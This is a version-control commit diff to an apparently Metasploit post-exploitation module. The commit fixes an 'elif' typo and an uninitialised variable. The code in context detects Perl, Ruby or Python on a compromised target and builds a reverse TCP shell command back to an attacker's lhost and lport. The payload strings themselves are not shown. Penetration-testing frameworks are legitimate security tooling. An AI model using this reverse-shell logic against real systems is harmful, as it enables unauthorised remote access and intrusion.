Typos and undefined variable
git-svn-id: file:///home/svn/framework3/trunk@14097 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
0fb9aad89e
commit
de22020e6f
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Runs a reverse tcp shell with the scripting environment found
|
||||
def auto_create_session(lhost,lport)
|
||||
|
||||
cmd = ""
|
||||
if cmd_exec("perl -v") =~ /Larry/
|
||||
print_status("Perl was found on target")
|
||||
cmd = perl_session(lhost,lport)
|
||||
|
@ -86,7 +86,7 @@ class Metasploit3 < Msf::Post
|
|||
cmd = ruby_session(lhost,lport)
|
||||
vprint_status("Running #{cmd}")
|
||||
|
||||
elif cmd_exec("python -V") =~ /Python 2\.(\d)/
|
||||
elsif cmd_exec("python -V") =~ /Python 2\.(\d)/
|
||||
print_status("Python was found on target")
|
||||
cmd = python_session(lhost,lport)
|
||||
vprint_status("Running #{cmd}")
|
||||
|
|
Loading…
Reference in New Issue